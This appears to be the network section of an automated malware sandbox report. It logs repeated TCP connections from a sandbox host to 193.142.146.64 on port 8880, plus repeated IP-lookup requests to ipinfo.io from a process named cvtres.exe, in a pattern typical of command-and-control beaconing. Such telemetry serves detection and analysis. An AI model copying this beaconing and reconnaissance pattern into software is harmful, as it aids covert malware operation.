Oct 5, 2024 16:48:05.951520920 CEST	50485	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:48:05.956877947 CEST	8880	50485	193.142.146.64	192.168.2.7
Oct 5, 2024 16:48:06.966250896 CEST	50487	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:48:06.971699953 CEST	8880	50487	193.142.146.64	192.168.2.7
Oct 5, 2024 16:48:06.971782923 CEST	50487	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:48:06.973164082 CEST	50488	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:48:06.978164911 CEST	80	50488	34.117.59.81	192.168.2.7
Oct 5, 2024 16:48:06.978239059 CEST	50488	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:48:06.978383064 CEST	50488	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:48:06.983361006 CEST	80	50488	34.117.59.81	192.168.2.7
Oct 5, 2024 16:48:07.471251011 CEST	80	50488	34.117.59.81	192.168.2.7
Oct 5, 2024 16:48:07.471533060 CEST	50487	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:48:07.476484060 CEST	8880	50487	193.142.146.64	192.168.2.7
Oct 5, 2024 16:48:07.476702929 CEST	50487	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:48:07.481517076 CEST	8880	50487	193.142.146.64	192.168.2.7
Oct 5, 2024 16:48:07.512722015 CEST	50488	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:48:08.607254982 CEST	8880	50487	193.142.146.64	192.168.2.7
Oct 5, 2024 16:48:08.607358932 CEST	50487	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:48:08.607613087 CEST	50487	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:48:08.612312078 CEST	8880	50487	193.142.146.64	192.168.2.7
Oct 5, 2024 16:48:09.575464964 CEST	50489	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:48:09.580424070 CEST	8880	50489	193.142.146.64	192.168.2.7
Oct 5, 2024 16:48:09.584204912 CEST	50489	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:48:09.584956884 CEST	50488	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:48:09.585798979 CEST	50490	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:48:09.591478109 CEST	80	50488	34.117.59.81	192.168.2.7
Oct 5, 2024 16:48:09.591559887 CEST	50488	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:48:09.592286110 CEST	80	50490	34.117.59.81	192.168.2.7
Oct 5, 2024 16:48:09.596371889 CEST	50490	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:48:09.596534014 CEST	50490	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:48:09.602883101 CEST	80	50490	34.117.59.81	192.168.2.7
Oct 5, 2024 16:48:10.092355967 CEST	80	50490	34.117.59.81	192.168.2.7
Oct 5, 2024 16:48:10.096468925 CEST	50489	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:48:10.103033066 CEST	8880	50489	193.142.146.64	192.168.2.7
Oct 5, 2024 16:48:10.104001999 CEST	50489	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:48:10.110362053 CEST	8880	50489	193.142.146.64	192.168.2.7
Oct 5, 2024 16:48:10.137721062 CEST	50490	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:48:11.201359034 CEST	8880	50489	193.142.146.64	192.168.2.7
Oct 5, 2024 16:48:11.205960989 CEST	50489	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:48:11.212070942 CEST	50489	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:48:11.216974020 CEST	8880	50489	193.142.146.64	192.168.2.7
Oct 5, 2024 16:48:12.153506994 CEST	50491	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:48:12.158664942 CEST	8880	50491	193.142.146.64	192.168.2.7
Oct 5, 2024 16:48:12.161183119 CEST	50491	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:48:12.161833048 CEST	50490	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:48:12.162552118 CEST	50492	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:48:12.166956902 CEST	80	50490	34.117.59.81	192.168.2.7
Oct 5, 2024 16:48:12.167440891 CEST	80	50492	34.117.59.81	192.168.2.7
Oct 5, 2024 16:48:12.167517900 CEST	50490	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:48:12.167543888 CEST	50492	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:48:12.167608976 CEST	50492	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:48:12.172936916 CEST	80	50492	34.117.59.81	192.168.2.7
Oct 5, 2024 16:48:12.669271946 CEST	80	50492	34.117.59.81	192.168.2.7
Oct 5, 2024 16:48:12.672780991 CEST	50491	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:48:12.677779913 CEST	8880	50491	193.142.146.64	192.168.2.7
Oct 5, 2024 16:48:12.680845976 CEST	50491	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:48:12.685722113 CEST	8880	50491	193.142.146.64	192.168.2.7
Oct 5, 2024 16:48:12.748125076 CEST	50492	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:48:13.815773964 CEST	8880	50491	193.142.146.64	192.168.2.7
Oct 5, 2024 16:48:13.815850973 CEST	50491	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:48:13.816155910 CEST	50491	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:48:13.820921898 CEST	8880	50491	193.142.146.64	192.168.2.7
Oct 5, 2024 16:48:14.731611967 CEST	50493	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:48:14.736772060 CEST	8880	50493	193.142.146.64	192.168.2.7
Oct 5, 2024 16:48:14.736844063 CEST	50493	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:48:14.737638950 CEST	50492	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:48:14.738667965 CEST	50494	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:48:14.742722988 CEST	80	50492	34.117.59.81	192.168.2.7
Oct 5, 2024 16:48:14.742772102 CEST	50492	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:48:14.743590117 CEST	80	50494	34.117.59.81	192.168.2.7
Oct 5, 2024 16:48:14.743665934 CEST	50494	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:48:14.744007111 CEST	50494	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:48:14.748874903 CEST	80	50494	34.117.59.81	192.168.2.7
Oct 5, 2024 16:48:15.223841906 CEST	80	50494	34.117.59.81	192.168.2.7
Oct 5, 2024 16:48:15.224085093 CEST	50493	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:48:15.229048967 CEST	8880	50493	193.142.146.64	192.168.2.7
Oct 5, 2024 16:48:15.229115009 CEST	50493	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:48:15.234035969 CEST	8880	50493	193.142.146.64	192.168.2.7
Oct 5, 2024 16:48:15.325186968 CEST	50494	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:48:16.357650042 CEST	8880	50493	193.142.146.64	192.168.2.7
Oct 5, 2024 16:48:16.357850075 CEST	50493	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:48:16.357886076 CEST	50493	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:48:16.362771034 CEST	8880	50493	193.142.146.64	192.168.2.7
Oct 5, 2024 16:48:17.247229099 CEST	50495	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:48:17.252342939 CEST	8880	50495	193.142.146.64	192.168.2.7
Oct 5, 2024 16:48:17.252445936 CEST	50495	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:48:17.254163027 CEST	50496	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:48:17.259016037 CEST	80	50496	34.117.59.81	192.168.2.7
Oct 5, 2024 16:48:17.259126902 CEST	50496	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:48:17.259351015 CEST	50496	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:48:17.264158010 CEST	80	50496	34.117.59.81	192.168.2.7
Oct 5, 2024 16:48:17.731580973 CEST	80	50496	34.117.59.81	192.168.2.7
Oct 5, 2024 16:48:17.731828928 CEST	50495	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:48:17.736735106 CEST	8880	50495	193.142.146.64	192.168.2.7
Oct 5, 2024 16:48:17.736987114 CEST	50495	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:48:17.744028091 CEST	8880	50495	193.142.146.64	192.168.2.7
Oct 5, 2024 16:48:17.825197935 CEST	50496	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:48:18.873625994 CEST	8880	50495	193.142.146.64	192.168.2.7
Oct 5, 2024 16:48:18.873707056 CEST	50495	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:48:18.873967886 CEST	50495	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:48:18.878758907 CEST	8880	50495	193.142.146.64	192.168.2.7
Oct 5, 2024 16:48:19.733887911 CEST	50497	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:48:19.738990068 CEST	8880	50497	193.142.146.64	192.168.2.7
Oct 5, 2024 16:48:19.741194010 CEST	50497	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:48:19.741959095 CEST	50496	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:48:19.742955923 CEST	50498	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:48:19.747317076 CEST	80	50496	34.117.59.81	192.168.2.7
Oct 5, 2024 16:48:19.747519970 CEST	50496	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:48:19.748294115 CEST	80	50498	34.117.59.81	192.168.2.7
Oct 5, 2024 16:48:19.748383999 CEST	50498	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:48:19.748536110 CEST	50498	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:48:19.754539013 CEST	80	50498	34.117.59.81	192.168.2.7
Oct 5, 2024 16:48:19.767982960 CEST	50498	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:48:19.815855980 CEST	80	50498	34.117.59.81	192.168.2.7
Oct 5, 2024 16:48:20.114017963 CEST	80	50498	34.117.59.81	192.168.2.7
Oct 5, 2024 16:48:20.116292953 CEST	50498	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:48:21.382395029 CEST	8880	50497	193.142.146.64	192.168.2.7
Oct 5, 2024 16:48:21.382474899 CEST	50497	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:48:21.382689953 CEST	50497	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:48:21.387527943 CEST	8880	50497	193.142.146.64	192.168.2.7
Oct 5, 2024 16:48:22.387851954 CEST	50499	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:48:22.392940044 CEST	8880	50499	193.142.146.64	192.168.2.7
Oct 5, 2024 16:48:22.393033028 CEST	50499	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:48:22.393692970 CEST	50500	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:48:22.398571014 CEST	80	50500	34.117.59.81	192.168.2.7
Oct 5, 2024 16:48:22.398686886 CEST	50500	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:48:22.398751974 CEST	50500	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:48:22.403779984 CEST	80	50500	34.117.59.81	192.168.2.7
Oct 5, 2024 16:48:22.872123003 CEST	80	50500	34.117.59.81	192.168.2.7
Oct 5, 2024 16:48:22.872348070 CEST	50499	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:48:22.877177954 CEST	8880	50499	193.142.146.64	192.168.2.7
Oct 5, 2024 16:48:22.877228975 CEST	50499	8880	192.168.2.7	193.142.146.64
Oct 5, 2024 16:48:22.882041931 CEST	8880	50499	193.142.146.64	192.168.2.7
Oct 5, 2024 16:48:22.918948889 CEST	50500	80	192.168.2.7	34.117.59.81
Oct 5, 2024 16:48:24.031627893 CEST	8880	50499	193.142.146.64	192.168.2.7
Oct 5, 2024 16:48:24.031701088 CEST	50499	8880	192.168.2.7	193.142.146.64

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 5, 2024 16:46:39.524691105 CEST	54638	53	192.168.2.7	1.1.1.1
Oct 5, 2024 16:46:39.532150030 CEST	53	54638	1.1.1.1	192.168.2.7
Oct 5, 2024 16:46:51.363500118 CEST	53	62840	162.159.36.2	192.168.2.7
Oct 5, 2024 16:46:51.907586098 CEST	53562	53	192.168.2.7	1.1.1.1
Oct 5, 2024 16:46:51.915015936 CEST	53	53562	1.1.1.1	192.168.2.7
Oct 5, 2024 16:46:55.869183064 CEST	52505	53	192.168.2.7	1.1.1.1
Oct 5, 2024 16:46:55.877756119 CEST	53	52505	1.1.1.1	192.168.2.7
Oct 5, 2024 16:47:20.918680906 CEST	55254	53	192.168.2.7	1.1.1.1
Oct 5, 2024 16:47:20.925561905 CEST	53	55254	1.1.1.1	192.168.2.7
Oct 5, 2024 16:47:35.146512985 CEST	59167	53	192.168.2.7	1.1.1.1
Oct 5, 2024 16:47:35.153973103 CEST	53	59167	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 5, 2024 16:46:39.524691105 CEST	192.168.2.7	1.1.1.1	0x50e8	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
Oct 5, 2024 16:46:51.907586098 CEST	192.168.2.7	1.1.1.1	0x2ad7	Standard query (0)	15.164.165.52.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Oct 5, 2024 16:46:55.869183064 CEST	192.168.2.7	1.1.1.1	0xc3a2	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
Oct 5, 2024 16:47:20.918680906 CEST	192.168.2.7	1.1.1.1	0x7838	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
Oct 5, 2024 16:47:35.146512985 CEST	192.168.2.7	1.1.1.1	0xbb83	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 5, 2024 16:46:39.532150030 CEST	1.1.1.1	192.168.2.7	0x50e8	No error (0)	ipinfo.io		34.117.59.81	A (IP address)	IN (0x0001)	false
Oct 5, 2024 16:46:51.915015936 CEST	1.1.1.1	192.168.2.7	0x2ad7	Name error (3)	15.164.165.52.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Oct 5, 2024 16:46:55.877756119 CEST	1.1.1.1	192.168.2.7	0xc3a2	No error (0)	ipinfo.io		34.117.59.81	A (IP address)	IN (0x0001)	false
Oct 5, 2024 16:47:20.925561905 CEST	1.1.1.1	192.168.2.7	0x7838	No error (0)	ipinfo.io		34.117.59.81	A (IP address)	IN (0x0001)	false
Oct 5, 2024 16:47:35.153973103 CEST	1.1.1.1	192.168.2.7	0xbb83	No error (0)	ipinfo.io		34.117.59.81	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

ipinfo.io

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49804	34.117.59.81	80	7640	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

Timestamp	Bytes transferred	Direction	Data
Oct 5, 2024 16:46:39.548820972 CEST	61	OUT	GET /ip HTTP/1.1 Host: ipinfo.io Connection: Keep-Alive
Oct 5, 2024 16:46:40.215892076 CEST	240	IN	HTTP/1.1 200 OK date: Sat, 05 Oct 2024 14:46:39 GMT content-type: text/plain; charset=utf-8 Content-Length: 11 access-control-allow-origin: * via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33
Oct 5, 2024 16:46:40.239494085 CEST	240	IN	HTTP/1.1 200 OK date: Sat, 05 Oct 2024 14:46:39 GMT content-type: text/plain; charset=utf-8 Content-Length: 11 access-control-allow-origin: * via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49816	34.117.59.81	80	7640	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

Timestamp	Bytes transferred	Direction	Data
Oct 5, 2024 16:46:41.964350939 CEST	61	OUT	GET /ip HTTP/1.1 Host: ipinfo.io Connection: Keep-Alive
Oct 5, 2024 16:46:42.475538969 CEST	240	IN	HTTP/1.1 200 OK date: Sat, 05 Oct 2024 14:46:41 GMT content-type: text/plain; charset=utf-8 Content-Length: 11 access-control-allow-origin: * via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49833	34.117.59.81	80	7640	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

Timestamp	Bytes transferred	Direction	Data
Oct 5, 2024 16:46:44.681809902 CEST	37	OUT	GET /ip HTTP/1.1 Host: ipinfo.io
Oct 5, 2024 16:46:45.156877995 CEST	240	IN	HTTP/1.1 200 OK date: Sat, 05 Oct 2024 14:46:44 GMT content-type: text/plain; charset=utf-8 Content-Length: 11 access-control-allow-origin: * via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49850	34.117.59.81	80	7640	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

Timestamp	Bytes transferred	Direction	Data
Oct 5, 2024 16:46:47.321887016 CEST	61	OUT	GET /ip HTTP/1.1 Host: ipinfo.io Connection: Keep-Alive
Oct 5, 2024 16:46:47.797816992 CEST	240	IN	HTTP/1.1 200 OK date: Sat, 05 Oct 2024 14:46:47 GMT content-type: text/plain; charset=utf-8 Content-Length: 11 access-control-allow-origin: * via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49865	34.117.59.81	80	7640	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

Timestamp	Bytes transferred	Direction	Data
Oct 5, 2024 16:46:50.075680971 CEST	61	OUT	GET /ip HTTP/1.1 Host: ipinfo.io Connection: Keep-Alive
Oct 5, 2024 16:46:50.579448938 CEST	240	IN	HTTP/1.1 200 OK date: Sat, 05 Oct 2024 14:46:50 GMT content-type: text/plain; charset=utf-8 Content-Length: 11 access-control-allow-origin: * via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	50329	34.117.59.81	80	7640	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

Timestamp	Bytes transferred	Direction	Data
Oct 5, 2024 16:46:52.770040989 CEST	61	OUT	GET /ip HTTP/1.1 Host: ipinfo.io Connection: Keep-Alive
Oct 5, 2024 16:46:53.566658974 CEST	240	IN	HTTP/1.1 200 OK date: Sat, 05 Oct 2024 14:46:52 GMT content-type: text/plain; charset=utf-8 Content-Length: 11 access-control-allow-origin: * via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33
Oct 5, 2024 16:46:53.567800999 CEST	240	IN	HTTP/1.1 200 OK date: Sat, 05 Oct 2024 14:46:52 GMT content-type: text/plain; charset=utf-8 Content-Length: 11 access-control-allow-origin: * via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	50348	34.117.59.81	80	7640	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

Timestamp	Bytes transferred	Direction	Data
Oct 5, 2024 16:46:55.901055098 CEST	61	OUT	GET /ip HTTP/1.1 Host: ipinfo.io Connection: Keep-Alive
Oct 5, 2024 16:46:56.379522085 CEST	240	IN	HTTP/1.1 200 OK date: Sat, 05 Oct 2024 14:46:55 GMT content-type: text/plain; charset=utf-8 Content-Length: 11 access-control-allow-origin: * via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	50364	34.117.59.81	80	7640	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

Timestamp	Bytes transferred	Direction	Data
Oct 5, 2024 16:46:58.103980064 CEST	61	OUT	GET /ip HTTP/1.1 Host: ipinfo.io Connection: Keep-Alive
Oct 5, 2024 16:46:58.681879044 CEST	240	IN	HTTP/1.1 200 OK date: Sat, 05 Oct 2024 14:46:58 GMT content-type: text/plain; charset=utf-8 Content-Length: 11 access-control-allow-origin: * via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	50381	34.117.59.81	80	7640	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

Timestamp	Bytes transferred	Direction	Data
Oct 5, 2024 16:47:00.992677927 CEST	61	OUT	GET /ip HTTP/1.1 Host: ipinfo.io Connection: Keep-Alive
Oct 5, 2024 16:47:01.493001938 CEST	240	IN	HTTP/1.1 200 OK date: Sat, 05 Oct 2024 14:47:01 GMT content-type: text/plain; charset=utf-8 Content-Length: 11 access-control-allow-origin: * via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	50398	34.117.59.81	80	7640	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

Timestamp	Bytes transferred	Direction	Data
Oct 5, 2024 16:47:03.688852072 CEST	61	OUT	GET /ip HTTP/1.1 Host: ipinfo.io Connection: Keep-Alive
Oct 5, 2024 16:47:04.163184881 CEST	240	IN	HTTP/1.1 200 OK date: Sat, 05 Oct 2024 14:47:03 GMT content-type: text/plain; charset=utf-8 Content-Length: 11 access-control-allow-origin: * via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	50415	34.117.59.81	80	7640	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

Timestamp	Bytes transferred	Direction	Data
Oct 5, 2024 16:47:06.322479010 CEST	61	OUT	GET /ip HTTP/1.1 Host: ipinfo.io Connection: Keep-Alive
Oct 5, 2024 16:47:06.805242062 CEST	240	IN	HTTP/1.1 200 OK date: Sat, 05 Oct 2024 14:47:06 GMT content-type: text/plain; charset=utf-8 Content-Length: 11 access-control-allow-origin: * via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	50432	34.117.59.81	80	7640	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

Timestamp	Bytes transferred	Direction	Data
Oct 5, 2024 16:47:08.962059021 CEST	37	OUT	GET /ip HTTP/1.1 Host: ipinfo.io
Oct 5, 2024 16:47:09.473046064 CEST	240	IN	HTTP/1.1 200 OK date: Sat, 05 Oct 2024 14:47:09 GMT content-type: text/plain; charset=utf-8 Content-Length: 11 access-control-allow-origin: * via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	50445	34.117.59.81	80	7640	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

Timestamp	Bytes transferred	Direction	Data
Oct 5, 2024 16:47:12.636420965 CEST	61	OUT	GET /ip HTTP/1.1 Host: ipinfo.io Connection: Keep-Alive
Oct 5, 2024 16:47:13.113657951 CEST	240	IN	HTTP/1.1 200 OK date: Sat, 05 Oct 2024 14:47:12 GMT content-type: text/plain; charset=utf-8 Content-Length: 11 access-control-allow-origin: * via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	50450	34.117.59.81	80	7640	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

Timestamp	Bytes transferred	Direction	Data
Oct 5, 2024 16:47:15.276431084 CEST	37	OUT	GET /ip HTTP/1.1 Host: ipinfo.io
Oct 5, 2024 16:47:15.765188932 CEST	240	IN	HTTP/1.1 200 OK date: Sat, 05 Oct 2024 14:47:15 GMT content-type: text/plain; charset=utf-8 Content-Length: 11 access-control-allow-origin: * via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	50452	34.117.59.81	80	7640	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

Timestamp	Bytes transferred	Direction	Data
Oct 5, 2024 16:47:17.946633101 CEST	61	OUT	GET /ip HTTP/1.1 Host: ipinfo.io Connection: Keep-Alive
Oct 5, 2024 16:47:18.431031942 CEST	240	IN	HTTP/1.1 200 OK date: Sat, 05 Oct 2024 14:47:18 GMT content-type: text/plain; charset=utf-8 Content-Length: 11 access-control-allow-origin: * via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	50454	34.117.59.81	80	7640	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

Timestamp	Bytes transferred	Direction	Data
Oct 5, 2024 16:47:20.931583881 CEST	37	OUT	GET /ip HTTP/1.1 Host: ipinfo.io
Oct 5, 2024 16:47:21.425858974 CEST	240	IN	HTTP/1.1 200 OK date: Sat, 05 Oct 2024 14:47:21 GMT content-type: text/plain; charset=utf-8 Content-Length: 11 access-control-allow-origin: * via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	50456	34.117.59.81	80	7640	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

Timestamp	Bytes transferred	Direction	Data
Oct 5, 2024 16:47:23.679546118 CEST	61	OUT	GET /ip HTTP/1.1 Host: ipinfo.io Connection: Keep-Alive
Oct 5, 2024 16:47:24.136053085 CEST	240	IN	HTTP/1.1 200 OK date: Sat, 05 Oct 2024 14:47:23 GMT content-type: text/plain; charset=utf-8 Content-Length: 11 access-control-allow-origin: * via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	50458	34.117.59.81	80	7640	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

Timestamp	Bytes transferred	Direction	Data
Oct 5, 2024 16:47:26.319240093 CEST	61	OUT	GET /ip HTTP/1.1 Host: ipinfo.io Connection: Keep-Alive
Oct 5, 2024 16:47:26.773137093 CEST	240	IN	HTTP/1.1 200 OK date: Sat, 05 Oct 2024 14:47:25 GMT content-type: text/plain; charset=utf-8 Content-Length: 11 access-control-allow-origin: * via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	50460	34.117.59.81	80	7640	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

Timestamp	Bytes transferred	Direction	Data
Oct 5, 2024 16:47:29.884742975 CEST	61	OUT	GET /ip HTTP/1.1 Host: ipinfo.io Connection: Keep-Alive
Oct 5, 2024 16:47:30.381728888 CEST	240	IN	HTTP/1.1 200 OK date: Sat, 05 Oct 2024 14:47:29 GMT content-type: text/plain; charset=utf-8 Content-Length: 11 access-control-allow-origin: * via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

